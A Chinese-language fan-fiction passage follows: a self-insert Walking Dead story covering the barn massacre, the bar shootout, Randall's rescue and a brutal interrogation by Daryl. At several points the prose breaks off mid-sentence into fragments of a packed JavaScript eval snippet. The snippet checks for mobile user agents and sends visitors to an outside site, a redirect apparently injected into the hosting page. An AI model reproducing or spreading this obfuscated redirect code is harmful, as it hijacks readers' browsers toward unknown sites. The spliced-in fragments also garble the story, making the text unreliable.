众人发生争吵,肖恩因谷仓里的行尸深感农场不安全,要么把行尸解决,要么立即离开。瑞克极力反对,前者这里是赫谢尔的地盘,我们不能随意处置这些行尸,至于后者,他没有明确解释原因,但我知道因为洛莉怀孕需要医生,再次踏上生死未知的旅途是对腹中胎儿的不负责。 “赫谢尔认为这些行尸都是人,病人。他的妻子和继子都在里面。”戴尔对大家说起昨日他与赫谢尔的谈话结果。 “你知道?”瑞克难以置信。 肖恩对此更是大发雷霆:“你还瞒了我们一个晚上!” “我觉得我们还能安全地过上一晚,事实的确如此。我本想今早再说的,但格伦想亲自告诉大家。” 肖恩大肆咆哮,他坚持如果留下就必须杀了这些行尸,他们不休的争执就像催化剂,谷仓内的行尸推挤着锁闭的谷仓木门,锁链拍打木头的声音越发强烈,好似它们随时都有可能冲破出来。 看样子今天上午应该是不会去练枪了,瑞克进到屋内找赫谢尔谈行尸的事情,肖恩独自徘徊谷仓门口看守,我们余下的人也不得不打起精神。本以为安全的避难所一夕之间成了险地。不过我有一件事想不通,我坐在树下乘凉,望向与卡罗尔待在一起说话的索菲亚,又看向洛莉和卡尔,好奇心驱使着我坐到卡尔对面,瞟了一眼他奋笔疾书的东西,犹豫开口:“为什么末世还要写作业?” “就只是给他找点事做,不然孩子疯起来,你知道的。”我一听,不禁同情起卡尔。 卡罗尔带着索菲亚来到我们身边,两个母亲聊起末世前孩子们在学校的生活,我安静地听着。索菲亚轻轻拽了拽我的胳膊,她拿着一副草编的手环送给我,我惊奇地夸她心灵手巧,她说她还能再做一个更大的戴在头上的。 “安,去练弩。”达里尔忽然出现在我身后,揪住我的衣领,把我从座位上提起来,跟他抓兔子时的动作一模一样。 我抗议道:“不是说吃完午饭再去吗,这还早呢。” “不练枪了当然要练弩,反正你闲着也是闲着。” “谁说我闲着,我在和索菲亚聊天呢。” 最后,我还是拗不过达里尔,跟他进了丛林。 在我们进入丛林之前,我看见瑞克、赫谢尔、吉米也从另一条路进了林子,他们是要去抓行尸。 我和达里尔在林中兜兜转转,虽然没发现什么适合的猎物,但在河水边遇到了瑞克三人,他们的对面是两只深陷泥沼的行尸。达里尔让我射击行尸的脑袋,我没有动,直直盯着赫谢尔。 “你们在干什么?”他感到疑惑,“当这是马戏团?在这站着看行尸表演?” 我拉住想要靠近他们的达里尔,催促道:“瑞克会处理好的,我们到别处去。” 他没有多想,与我一起离开,然而沿着河边走,我们又遇到不远处吵架的肖恩与戴尔,我开玩笑道:“这林子可真小,走哪都能碰到熟人。” “不小了,找你们三天才找到。” 我此时的注意力全在戴尔抱的黑袋子上,没把达里尔的这句话听进去。只见戴尔把黑袋子不情愿地交给肖恩,肖恩眉宇间写满阴鸷二字,令人望而生畏。他拿上东西转身快步走了,我刚想叫达里尔跟我回农场,达里尔说出了袋子里装着什么:“为什么枪都在那?有什么不好的事情要发生了。” 我们赶在肖恩之后回到农场,他已经把枪分发给众人,达里尔隔着老远冲大家喊:“发生什么了?”那边还没来得及回答,他们的目光就被别的东西吸引,我和达里尔同样将视线探过去,是瑞克三人把泥沼里的两具行尸带了过来。细长的木杆可以保持自己与行尸的距离,木杆尽头的弧形设计能完美套上行尸的脖子,赫谢尔他们就是用这种类似于保安防爆钢叉的工具把行尸带到谷仓里关起来的。 这一举动无疑激怒肖恩,他犹如一支离弦之箭冲向瑞克,发了疯般,脸红脖子粗的。我与达里尔面面相觑,他困惑不已,我耸耸肩:“又是行尸。” “你们在搞什么鬼!开什么玩笑!”肖恩的吼声几乎响彻整座农场,我们都围了上来,他怒不可遏,总算抓到赫谢尔的罪行,要向我们宣判,“看见没,看见他们抓的玩意了吗?” “我知道我抓的什么!”赫谢尔并不是老糊涂,只是过不去亲人离世的坎。 “不,老头,你不懂!” 瑞克不想把事情闹大,更不想破坏和赫谢尔的关系:“肖恩,让我们处理吧,待会儿再谈。” “你想谈什么?瑞克,这些东西不是病了,它们不是人!它们死了!别心疼它们因为它们只会杀人!”在赫谢尔这件事上,情同兄弟的两人无法达成一致,“这些怪物就是杀死艾米和吉姆的凶手!它们杀了奥蒂斯!它们会把我们杀光!” “肖恩,闭嘴!”瑞克命令道。 “赫谢尔,我问你个问题,”肖恩对瑞克出声制止不屑一顾,他拔出枪,果断上膛,朝着赫谢尔牵引的行尸射击,“一个活生生的人,中枪了还能好端端站着吗?” 那行尸的胸口连中三枪,正常人早就血流不止倒地不起了,但行尸恍若什么都没发生过,依然凶恶,呲着牙想要咬死在场的所有人。 “一个活人能承受得了这些吗?它怎么还能往前走,”他接着射出两枪,“那是它的心脏,它的肺,它怎么还继续走!”话音落下,又是三枪。 “肖恩!够了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15790951|174952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是,瑞克你说的对,够了。”肖恩大步上前,对着行尸脑门开出最后一枪。 行尸死了,赫谢尔表现出与众人不同的落寞神情,在他看来是一个仍有希望被拯救的病人被杀。 “我们受够了住在这满是杀人怪物的谷仓旁!瑞克,今非昔比了!如果我们还想活着,还想生存,就必须战斗!我是说就在这战斗,此时此地!”肖恩早就想这么做了,转身冲向谷仓,操起一旁的锄头砸锁。 瑞克脱不开身去拦住肖恩,他情求赫谢尔接过自己手上的行尸:“赫谢尔,帮我抓着套杆!听我说!求你了,快抓着,赫谢尔!”可赫谢尔失魂落魄的,不知道听没听进去,他已经无能为力了,需要接受现实了。 “这样解决不了问题!”瑞克继续冲肖恩喊。 肖恩砸坏了锁,取下门栓,敲击木门,接着退后。 大门被里面的行尸推开,第一个走出来的是个穿背带裤的光头男人,看起来像是在农场工作的。安德莉亚持枪跑到肖恩身边准备射击,肖恩直接打爆第一个行尸的脑袋。行尸们鱼贯而出,我们纷纷跑到前方进行射杀,就连卡罗尔都将索菲亚交给洛莉,自己拿着枪与我们站成一排。 枪声此起彼伏,我明明瞄准的是脑袋,子弹却射了个空,或者射在肩膀和颈窝。 肖恩扭头打死瑞克控制的行尸,我听见瑞克喝令卡尔和索菲亚退后。 达里尔击中了一只棕色卷发,戴着项链的女性行尸,痛苦的呐喊声盖过枪声,那应该是贝丝的母亲,玛姬的继母,赫谢尔的妻子。 没多久,十几具行尸被我们全部解决干净,我真正杀死的只有一只,这是个进步。 哭泣的贝丝在尸堆中找到母亲的尸体,她的母亲没有死透,达里尔那一枪有些偏差。行尸突然抓住贝丝的脖子,姑娘被吓得花容失色,众人合力把贝丝拉开,我在她母亲的脑袋上补了一枪。 第二只。 整个过程中,赫谢尔一言不发,我们都没有再说一句话。 气氛静得可怕,我抿抿唇,枪在我手心发烫,我抑制不住枪杀行尸的喜悦,又理解这一切对赫谢尔一家意味着什么。我望向肖恩,他冷静了下来,呆呆地站着,我没觉得他的做法是错的,他也不会觉得自己的举动不对,只会后悔没早点做。 “离开我的地方。”这是赫谢尔留下的通知,他们一家相互搀扶回到屋子里。 我们商议过后,决定把赫谢尔的家人埋葬,再烧掉其他尸体。吉米帮忙挖坑,两具尸体下葬,赫谢尔换了一身正式的套装出席葬礼,大家一同哀悼,随后终了人散,树荫依旧。 剩下就是搬运行尸尸体焚烧的事情了,所有人都参与进去,而我被瑞克指名陪在卡尔和索菲亚身边。两个孩子不是第一次接触这种残忍而冷酷的事情,他们比赫谢尔更明白如今世道的规则,我感到欣慰,另一方面却为他们别样的成长礼抱有怜意。 16. 相残 葬礼过后,赫谢尔就不见了踪影,恰在此时,贝丝又出了状况,她毫无征兆地晕倒,开始发烧,眼神呆滞,瑞克与格伦开车出去寻人久久未归,洛莉怀疑贝丝是处于紧张性休克状态,我们急需赫谢尔。 洛莉想让达里尔帮忙到镇子里把赫谢尔和瑞克带回来,我和她一起在农场外围的一座矮墙旁发现他,他正在用刀子削尖木头变成箭矢。虽然达里尔教我用弩,但不代表他会答应我的所有情求,更何况我全程没开口。洛莉没办法,嘱咐我照顾卡尔,她要自己去。 我根本不放心她一个人,因为路上绝对会出车祸,还会遇到行尸,所以我提出与她同行。 她拿了一把枪和地图,我也带着我的枪和刀。 有我坐在副驾给她看图指路,车子成功避开行尸,我们一路开进镇子。 然而洛莉怀孕前期孕吐有些频繁,她握着方向盘干呕了两次,我都没有在意,直到第三次较为严重,我建议停车歇一会儿,可她倔得很,一刻不停。良久,她叫我别把她怀孕的事情说出去,我点点头,答应下来,明知故问道:“瑞克知道吗?” 这个问题很没必要,只是我得说点什么,光是陪她说说话也好。 “知道,他什么都知道。”洛莉喉间哽咽,她现在一定很不好受,世界本来就一团糟,危险遍布各处,生存都是个问题,她还怀了孩子,孩子的亲生父亲又不是自己的丈夫,把孩子生下来多活一秒都是幸运,打掉的话,洛莉也不忍心。 我盯着前方的路目不斜视,仅用余光观察洛莉的表情,向她保证道:“等你的孩子出生,除了你和瑞克,我们每个人都会把宝宝当成自己的孩子对待,他或者是她将生活在有爱的环境中。” 洛莉听后,展露出笑容,说道:“安,谢谢你,这一路你真的帮了我们很多。” “这是缘分,我到亚特兰大就是为了遇见你们,我们互帮互助。”我说的一点不假,而且亲身经历果然比看剧更爽,我不再有深处异世的孤独感,他们每个人与我都是同生共死的伙伴,我们早已信赖彼此,成为了家人。 就像肖恩当初劝我与达里尔和好时说的,我们必须团结,所以我也想试试缓和洛莉与肖恩的关系,我只说一句:“其实肖恩很为大家考虑,他过于现实而有时候忽略了人情,瑞克就不一样,瑞克懂得世道的残忍,故而更看重人与人之间的关系,但有一点他们两个是相同的,那就是都在竭尽所能保护我们大家,我们是一个团队。”好吧,说的有点多了。 她沉默了一阵,没有回应,但我从她咬唇的举动可以看出,她听进去了。 天色渐晚,车子亮起灯光,我们找到玛姬说的酒吧,瑞克开出去的车停放在门口。洛莉迫不及待下车进入酒吧,我算了算时间,他们还没有动手。 推开酒吧的门,瑞克、格伦、赫歇尔三人坐在吧台,里面还有两个陌生男人,一个胖子,一个痞子。他们原本都警惕地盯着门口,瑞克一见是我们,仍未放松下来,他的手悄悄摸到枪。 洛莉奔到瑞克面前:“赫歇尔必须现在回去,贝丝的状况很差!” 我站在门口,提防那两个男人,看见赫歇尔总是严肃的脸变得柔和、忧愁,他卸下往日农场主的锋芒与威严,仅仅是一个风烛残年,失去亲人的老者罢了。 自从我们进来,那痞子就一直用冒犯的眼光打量我们,与胖子笑呵呵的,两人的视线在洛莉和我之间来回扫动:“这是你老婆?那个呢?你们还有多少人?还有多少女人?”他从座位上起来,丝毫没意识到自己已经招惹了了不得的人。 我不自觉地吞咽,在痞子走出一步之后,瑞克骤然拔枪将其射杀,紧接着转身对胖子射出两枪。三声枪响中间没有一点停顿,瑞克当机立断,干脆利落,上前两步再给胖子补一枪,纵使我清楚地知道他会开枪,还是被这瞬间的变故吓到了。 这是瑞克第一次杀人,我想他不为此后悔,因为要保护大家,非杀他们不可。 末世中比行尸更危险的往往是人类,我们皆已知晓此理。 瑞克挨个问我们还好吗,洛莉木讷地点头,催促我们回农场去。 “走吧。”赫谢尔缓缓道,他认同了瑞克的做法。 我们拿走痞子和胖子的枪支弹药,刚走到门口转动把手,屋外闪过光亮,传来车子行驶的声音。我们赶紧趴下,那一定是这两个死人的同伴寻来了。 “戴夫?托尼?”车上下来的男人朝酒吧内呼唤死人的名字,“他们说是在这吧?” 另一个人回答他:“是的。” “伙计,我告诉你,我听到枪声了。” “我看到行尸在离这里大概两条街的地方,也许附近还有更多,非常紧急,我们得赶紧走。”言外之意是想放弃戴夫和托尼,可身边的家伙是个重情义的,不仅不因此退却,反尔继续呼唤,他无论如何都要找到失踪的同伴。 两个人到了门口,木头做的门窗发出咔吱咔吱的声响,盖过了我们五个人犹如擂鼓的心跳声。瑞克枪不离手,我也小心翼翼将腰间的枪拔了出来。那两个人似乎走远,外面重新安静下来。 “他们为什么不离开?”格伦心慌意乱。 赫谢尔反问他:“是你你会离开吗?” “我们不能继续在这待下去,”瑞克把瑟瑟发抖的洛莉搂在怀中,对我们说,“从后面出去,跑到车那。” 我们齐齐点头,刚要站直身子,突如其来的枪声把我们吓了回来,我透过橱窗往外面看去,原来戴夫和托尼的同伴来了三个,听他们说是开枪是为了打死行尸。他们搜完了邻近的房子都没有找到戴夫和托尼,只剩下我们所在的酒吧没有搜过,三人快步靠近。 瑞克蹲在门侧,举枪上膛,我和洛莉在他身后,战战兢兢盯着门口。 大门被推开一条缝,另一侧的格伦扑过去用背抵住门,门锁自动合上。 “怎么了?” “有人把门锁了!里面有人!”这家伙朝屋内喊,“里面有人吗?如果有人,我们不想惹麻烦,我们只是在找我们的朋友。” 瑞克看格伦的眼神带着埋怨,我猜瑞克是打算趁屋外的人进来时把他们杀了,可格伦不愿再看到活人被杀。 “我们不想惹麻烦,我们只是在找我们的朋友,如果有什么不妥,请告诉我们。这地方四周都是行尸,如果你们能帮我们逃脱,我们会很感激。”外面鲁莽的家伙们商量把门撞开,他们当中还是有个聪明的,知道在不清楚屋内人数的情况下不能轻举妄动。 黑暗中,我看见瑞克的额头流满了汗水,他是在犹豫外面人的说辞,还是在想逃走的方法。但不管是哪一个,他都会让我们大家平安无事。 “他们逼我们的!”瑞克眉头紧锁,坦然相告。 赫谢尔重重叹气,我们终究还是要与那些人硬碰硬。 “戴夫和托尼在里面吗?他们还活着?”说话声与脚步声与我们仅一门之隔。 瑞克答道:“他们死了。” 外面的人一听,除了那个聪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“尽力就成功了,我会掩护你们。” 格伦自嘲地笑了笑,说反话称这是个好主意,我想也没想脱口而出:“如果是玛姬在这里,她已经冲出去了。” 激将法就是有用,尤其是对恋爱中的人。 格伦用枪推开后门走出去,我握紧枪,注意格伦的后方,赫谢尔倚在门边,随时打掩护。 人果然没走,一名黑人男性径直从酒吧侧面拐出来,他的枪口正对着我,但他也没想到有两把枪对着他。我和赫谢尔的子弹都打进他的肚子,他在倒下前开了一枪,这枪似乎擦过我的耳朵,我被吓得后背发凉,怔在原地。 听到枪声,瑞克与洛莉赶了出来,黑人男性痛苦呻吟,而我们皆相安无事,包括躲在垃圾箱后面的格伦,赫谢尔还以为他中弹了,幸好是虚惊一场。 不过也不能大意,史蒂夫药店的房顶上埋伏着一人朝我们疯狂射击,我们迅速躲在垃圾箱后。那人的攻击只持续了一会儿,他的同伴驱车过来喊他赶紧走,尸群被疯子引来了。 屋顶的家伙想跳下去,他失败了,并发出惨叫,车内的同伴抛弃了受伤的黑人男性,也抛弃了他。 “瑞克!瑞克!”这是肖恩的声音。 肖恩开车来找我们,车子的后面跟着一大堆行尸,原来他就是“疯子”。 “你们先走!”车门打开,瑞克把我和洛莉推了进去,我这才看见副驾的达里尔,他探出一半的身子,用白天制作的箭矢射杀行尸。 “瑞克,你要干什么!”洛莉的脸色变了又变,恨不得拿枪抵住瑞克的脑袋威胁他一同逃离此处。 可瑞克竟说:“我要去救人。” 17. 他们是好兄弟 瑞克·格兰姆斯是当之无愧的领袖,他杀人,他救人,他有狠戾之心,亦具怜悯之心。尽管我们所有人都不同意他去救那个从屋顶跳下来的家伙,但他还是奔了过去,我想如果不是那个黑人男性已经被行尸淹没,瑞克肯定会救两个人吧。 “我们不能丢下他。”赫谢尔说得平淡,仿佛说着月亮只会在晚上升起这种毫无争议的稀松平常的一件事,格伦和他提枪也跑到对面的药店。 “这个混蛋,难道我就能丢下他吗?”肖恩低声骂瑞克,拿起枪下车,对我们说道,“达里尔开车先带洛莉和安回农场,我会和瑞克他们平安回去的。”他说这话时,眼睛不偏不倚地直直看着洛莉,然后打死两只企图扑过来的行尸,迅速跑到对面去了。 达里尔从副驾跳到驾驶位,车头转了个圈,碾死三只行尸,骨头碎裂的声音就像是指节敲击枪身,我紧握枪,对准窗外离我们最近的行尸,“砰”一声射穿它的头颅,一击即中。 “达里尔达里尔!你看到没有,我刚才一下子就打死了!” 我沾沾自喜的同时,洛莉焦急的声音响起:“达里尔!我们不能就这样走,我们得去找瑞克他们!” “他会的,我们谁也不会丢下谁。”我应道,并且又开一枪,却只是打中一只瘦个子行尸的肩膀。 达里尔什么也没说,猛踩油门,我和洛莉因为惯性后仰,后背撞得生疼,枪也从我手上掉到座椅底下,我俯身去捡,再起身,引擎停歇,窗边是瑞克和赫谢尔商量如何把被铁栏杆上的尖刺穿透小腿的家伙带走。 那家伙一个劲地哭嚎,挣扎时拍打身下的铁板发出巨响,向我们求救,肖恩本就为瑞克可笑的救人念头火冒三丈,这下更是想一枪了结了那家伙。 “嘿!不要再磨蹭了!行尸越来越多!”木制箭矢所剩无几,达里尔把最后的几支用完,车内还有一把猎枪供他使用。镇上的行尸基本全部都在我们面前了,乌压压的一片,从高处看应该很像缕缕行行的蚂蚁,然而此刻处于蝼蚁一方的是我们。我枪中子弹早就没了,洛莉也没有了弹药,气得她把枪扔出去,砸在一只胖子行尸身上,扭头大喊瑞克。 突然,一根脏兮兮的胳膊钻进车窗抓住洛莉的脸,洛莉受到惊吓拼命挣脱不得,呼唤瑞克,我使出浑身解数也分不开他们,达里尔不停用弩击打外面的行尸都无济于事,反尔给了其他行尸机会从他旁边的窗子伸进手和头。 千钧一发之际,枪声四起,瑞克打死了抓住洛莉的行尸,他和格伦为我们减轻这一头的压力,肖恩则抵挡另一头冒出来的尸群,达里尔也用随身携带的刀化解了危机。我忽然想起来我的口袋里有弹簧刀,真是被吓糊涂了,连这都能忘记,我赶紧打开车门,叫赫谢尔不要再管那个家伙,我们现在就得走。 瑞克一步三望,望向洛莉,望向赫谢尔,望向肖恩,打开我们车副驾的车门,推赫谢尔进去。断腿的家伙以为我们要走,连连乞求,怎知瑞克抓住他被刺穿的腿用力一抬,撕心裂肺的惨叫比那日山谷里红色跑车的鸣笛声还要响亮。 这家伙被活活痛晕过去,腿部大出血,我脱下衬衫外套紧紧绑住他的伤口,瑞克把人送进后座,直视妻子的眼睛:“现在,快走!不要回头!我们就在后面。” 我回到车内,达里尔立即在驾驶座坐稳,双手按住方向盘,他起步就是最快的速度,从尸群中穿过,肉块与黑血宛如下雨般遮盖整个挡风玻璃,雨刷器来回刮动,把这些东西涂抹得更加均匀,跟在面包上抹果酱似的。 洛莉遥望后方,她的睫毛颤了又颤,眉心久久不得舒展。 “放心吧洛莉,他们不会有事的。” 我这么说是为了安慰她,也是安慰自己,其实我也不确信瑞克是否能平安回来,刚刚发生的一切已经与原本的走向截然不同,那就说明还会有别的事情发生改变,可千万不要是瑞克他们。 从农场到镇子,我没觉得这条路如此漫长,怎得回去像是遇到了鬼打墙,道路没有尽头,我们始终在路上。车窗外呼啸过去的风吹醒了坐在我和洛莉中间的家伙,他满头大汗,嘴里呻吟不休,吵得我脑袋痛,真想给他一枪,这样就不会有后面的破事了。 这样想着,我拿出口袋里的刀,达里尔从车内后视镜看见我的举动,喊了我一声:“安,瑞克宁愿冒险也要救下的人,是死是活,得瑞克说了算,虽然我也很想杀了他。” 我闷闷不乐:“这家伙一定会死的,只是时间问题。” 许久过后,我们回到农场,屋子里还亮着灯光,第一个推门冲出来的就是卡尔,母子两个抱在一起,孩子问爸爸去哪了,洛莉回身面对一望无际的黑夜,那里什么也没有,她不知道该如何回答儿子的问题。 “格伦呢?”玛姬质问赫谢尔。 “肖恩也没回来吗?”戴尔等人也问向我和达里尔。 T仔发现了坐在车里的陌生人:“那个是谁?” 大家齐齐往车内看去,赫谢尔脸色凝重,走到帕特里夏身边,叫她收拾一间房出来,准备做手术。 我把我和洛莉到酒吧之后的事情告诉大家,其余的就由做完手术的赫谢尔来说,至于那个断腿的家伙是去是留,得等到瑞克、肖恩还有格伦回来以后再决定。赫谢尔告诉我们那家伙叫兰德尔,他尽力修复了兰德尔的腓肠肌,但可能还有神经损伤,兰德尔至少一周都站不起来。 这个晚上,我们所有人都在屋子里休息,玛姬为我和安德莉亚在客厅打了个地铺,她的心情写在脸上,我忍不住说道:“放心吧,他们也许再过一会儿就回来了,又或许是明天早上,只需要你睡一觉。” 她挤出一个笑容,笑得十分勉强。 第二天升起的太阳从地平线上露出一半,橘红色的曙光点燃了天空,曾几何时,我看日出不再有又活一天的庆幸,而是又要艰难活下去的疲倦。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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众人从营地与屋子里赶过来,瑞克、肖恩、格伦三人平安无事地回到我们身边,洛莉与玛姬喜极而泣,各自拥抱爱人,唯有肖恩略显尴尬。 争吵只有可能发生在瑞克与肖恩之间,该不会他们吵了一晚上吧,那真是有点心疼夹在中间的格伦。我难以知道他们都吵了什么,也许关于兰德尔,关于行尸,关于本宁堡,也关于洛莉和她肚子里的孩子。 我们进到屋内,围着长桌坐下,经历九死一生的瑞克一刻都不休息,开口提出等兰德尔能下床,就给他一个水壶,把他带到主干道上,让他离开。肖恩毫不意外地反对,因为兰德尔已经记住了农场的路,他回去只会给我们招来更大的灾祸,兰德尔必须死。 从前肖恩不是没有反对过瑞克,但这次很不一样,他的话带着刺,而我们大家对此比起听他的,更愿意听瑞克的建议,肖恩开始胡言乱语:“我去给那家伙拿些鲜花和水果,瞧啊各位,我们又痴人说梦了。”鲜花和水果,仿佛是探病,他上一个探病的对象还是瑞克。 “谷仓的事我们还没说,”赫谢尔叫住了朝外走的肖恩,训斥他,“让我一次把话说明白,这是我的农场,我本打算让你们离开,是瑞克劝我不要这么做,这不代表我非要听他劝,所以帮你我一个忙,闭上你的嘴!” 18. 隔阂 那之后过去了好几天,我永远不会忘记那天肖恩强压怒气,恶狠狠瞪着赫歇尔的眼神,回想起来仍旧心惊,他还是坚持杀死兰德尔,瑞克始终不为所动。 两个人之间剑拔弩张的氛围令我不敢靠近,因此一直和孩子们待着,他们很喜欢听我讲故事,洛莉与卡罗尔也放心把他们交给我,正好给了洛莉充足的时间思考与肖恩的关系,卡罗尔也能抽出更多空练枪。 虽然妈妈们严禁孩子靠近丛林,叫他们务必与我一起,可我若要进入丛林又该怎么说。 达里尔削了几十支箭给我,我们要深入丛林打猎。我原本想让卡尔和索菲亚去找安德里亚,这两个孩子却非要跟我们到林子里去,达里尔赶不走他们,我只好说道:“可以是可以,不过谁都不准离开我和达里尔半步,并且我们只在边缘转转,不深入。” 一进到林中,索菲亚就抓紧了我的胳膊,而卡尔大着胆子与达里尔走在前方。周围的树木变得茂密,林荫遮天蔽日,我头晕眼花,根本分不清哪里是哪里。 突然,达里尔停下,我不由自主地紧张起来,准备掏枪,以为是有行尸,毕竟达里尔在丛林中五感通达,跟超人一样。他扭过头指了指上面,我和索菲亚抬头,头顶的树枝上有一只伫立的褐色雀鸟。 我轻而慢地接过达里尔的弩,木质的箭矢锋利得犹如一根大号的针,被射中绝对当场毙命,并且疼痛异常。我举起弩,瞄准雀鸟,它好像感知到了危险,张开翅膀起飞,我赶忙射出箭,木箭穿过雀鸟腾飞的羽翼,它从空中跌落。 “不错,越来越准了。”达里尔难得夸我一次,我得意洋洋,看他彻底折断雀鸟的翅膀,抓住鸟的脚爪,我不知道他要干什么,兀自道,“林子里的动物越来越少了,你们说河里会有鱼吗?” “去看看,但你得再射一次。”他倒抓着鸟,哀啼声不绝于耳,会引来行尸的。 我再次架起弩,熟练得射箭,止住雀鸟喋喋的叫声。 卡尔与索菲亚不吝啬赞美,助长我骄傲之风。 随后,我们朝河边前进,卡尔瞄到我的枪,他问我:“我能拿一下吗?” “你父母允许吗?” “当然!我还可以跟肖恩学枪!” “男孩长成男人了。”早点学会用枪总是好的,我卸下枪中的子弹,把枪递给卡尔,他有些不满,想要子弹,被我拒绝。 索菲亚认出了这把枪:“是包里的那把!” “是啊,你记性真好。” 不多时,达里尔领我们到了河边,这里与之前到过的地方都不一样,河水浑浊,积满污泥,还有一只行尸被困在里面,被我们四个的活人味勾起吃人欲望,晃动手臂,张着嘴嘶吼。 我意识到这是不久后会害死戴尔的那只,它必须死。 正当我从达里尔的袋子里取出一支木箭,卡尔的手指放在了伯/莱/塔手枪的扳机处。 我和达里尔对视一眼,不约而同地看向卡尔,他此时头戴警帽握住手枪瞄准的样子像极了瑞克,他果断扣响扳机,假使有一颗子弹在匣中,就会跟我一箭射杀行尸那样,行尸失去支撑的力气,整个伏进污泥中。 今天也是未雨绸缪救人的一天呢,我心情大好,哼起小曲。 “这是什么歌?”达里尔竟然会对这个好奇。 我回答:“我老家的一首关于好运的歌。” 而今到处都是行尸,它们无孔不入,比蟑螂繁衍得还快,至少蟑螂的虫卵需要时间长大,行尸只用一口。无处不在的行尸会走进河中、掉入井里,淹在湖内,大片的伤口污染水源,腐烂的皮肤被泡得发肿,水和水里的生物怎么会干净,喝了或吃了得肚子疼吧。 既然没有鱼可以捉,我们就在林中继续寻觅,我射中了两只松鼠与另一只较大的鸟,那只鸟被我射伤,奋力飞逃,达里尔抢过弩,木箭追了过去,射落飞鸟。 算不上满载而归,也是有所收获。“够了,我们快回去吧,”再不回去,洛莉和卡罗尔就该着急了,“卡尔,索菲亚,得回去向你们的妈妈报平安了。” “我以为你就是他们的妈妈。”达里尔揶揄我。 “不!是姐姐!”我离当妈还早得很呢。 正如我所说的那样,洛莉和卡罗尔在满农场地找我们,她们并没有怪我把孩子带进丛林,而是谢我帮忙照顾。 “发生什么了?”洛莉显得很焦虑,一定发生了让她棘手的事。 是关于贝丝的,赫歇尔看过她的情况,不坏也不好,她亲眼目睹母亲和哥哥的离世,又差点被变成行尸的母亲伤害,贝丝受到了太大的刺激,这也说明她在农场被家人保护得很好。 难以从当日的一幕幕中回归日常生活,贝丝整日魂不守舍,无精打采,一度萌发轻生的想法。玛姬愁得眉间落下深深的沟痕,格伦也不能让她笑一笑,她与洛莉轮流看护贝丝,防止贝丝想不开。 可就在刚刚,安德莉亚与贝丝说了什么,贝丝割破了手腕。 安德莉亚每次看贝丝时都像是在看艾米,她既能明白贝丝的心情,又能理解身为姐姐的玛姬,她觉得贝丝试图自杀是一种想要活下去的行为,与疾控中心时她的选择如出一辙。我与洛莉的看法一致,我不会说安德莉亚的观点是对的,但贝丝确实做出了自己的选择,只有真正面对死亡后才懂得珍惜生。 我进到屋子里看望贝丝,她躺在床上,赫谢尔为她包扎。 “安,你们今天猎到了什么?”我每次和达里尔打猎回来,都会跟贝丝讲起遇到的趣事,诸如达里尔的失手、林子里偶遇的白花,还有相貌奇特的行尸,久而久之,与她的关系更近了。 “如果你愿意的话,等你身体恢复,我们可以一起出去走走的。”这句话我常说,贝丝总是置若罔闻,而今天她点头了。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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天快要黑了的时候,释放兰德尔的瑞克和肖恩回来了,他们两个的脸上都有新伤与未干的血迹,看着可不像是行尸造成的,大家对此皆心照不宣。 瑞克打开后备箱,被五花大绑蒙住脸的兰德尔躺在里面。 他们两个撒了谎,没有把真相告诉我们,只说是遇到了行尸,不得不返回。但我知道他们发生了争执,并且反目互殴。 兰德尔是导火索,洛莉与肚子里的孩子是煽动的风,他们在和平世界可以是挚友,但在生死无常的末世,太多的决策者会使团队走向覆灭,一山不容二虎,仁慈与冷酷相对,中庸者逢山开路,极端者落落难合。 若肖恩在农场的结局是死,那他不如成为独行者,他一个人会比与我们一起活得更好,更轻松,他的性格适合末世,不适合留在瑞克的身边,我不希望他死,因为他是个好人,也因为他是瑞克的兄弟,他们不该是阴阳两隔、互相残杀的结局。 19. 性命之轻重 关于兰德尔的去留,瑞克改变了主意,但在下最终决定之前,他得弄清楚兰德尔团队的情况。 作为警察的瑞克与肖恩在审问方面无疑有着丰富的经验,却不适合审问兰德尔,因为一个实在不忍心,而另一个真会动手,所以我们需要心狠人更狠的达里尔出面。 我和他来到关押兰德尔的谷仓,达里尔上去就是不间歇的拳打脚踢,把兰德尔当作沙袋练拳击,什么都不问,先打一顿再说,打到兰德尔拼命求饶,愿意把知道的全部说出来。我真佩服达里尔,若不是我知道剧情的发展,真就会相信兰德尔说的,可达里尔又是一记重拳挥到他脸上,双手被绑在身后的兰德尔倒地,再挨一拳,吐出一口带血的痰,一张嘴好似血洞,眉骨处肿成原来的两倍,左眼被打得睁不开。 “我告诉你了,我,我都告诉你了。”兰德尔连一句清晰的话都说不出来。 “你他妈全在放屁!” 永远都不要欺骗达里尔,他能看穿一切谎言,并用暴力撬开最硬的嘴。 “我跟他们不熟,只是在路上认识的!” “你们有多少人?”我问道。 兰德尔晃动脑袋,迟迟不开口,我歪着头,又问了一遍:“你们一共有多少人?你最好老实回答,达里尔可没有瑞克那么仁慈。” 他还是老样子,于是达里尔抽出腰间的刀,吓得兰德尔奇迹地睁大了眼睛:“不不不,你别这样,啊!” 达里尔猛地一刀插进兰德尔小腿旁的木板中,怒吼:“多少人!” “三十,三十个人。”怕死的兰德尔招了。 